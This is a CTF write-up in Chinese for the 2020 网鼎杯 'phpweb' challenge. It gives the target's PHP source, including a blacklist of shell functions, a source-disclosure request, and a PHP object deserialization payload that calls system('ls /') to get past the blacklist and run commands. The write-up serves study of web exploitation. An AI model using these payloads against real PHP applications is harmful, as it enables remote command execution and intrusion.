2020网鼎杯 朱雀组 phpweb
index.php页面，提示有一个报错的地方，这个报错好像是php配置的问题
由于定时刷新有点恶心，所以抓下包，结果：
根据date函数的参数推断，这里执行了date函数，于是试一下eval以及assert，结果：
存在WAF，先看看源码,payload
func=highlight_file&p=index.php
得到：
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
基本上可以得到webshell的全禁止了，而且还有一个小写的转化，不过里面的Test很鸡肋啊，一看就是要你反序列化的啊。于是：
<?php class Test{ var $p = "ls /"; var $func = "system"; } $c = new Test(); echo serialize($c); ?>
payload:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
再去读tmp，一般tmp对普通用户有权限
读出文件
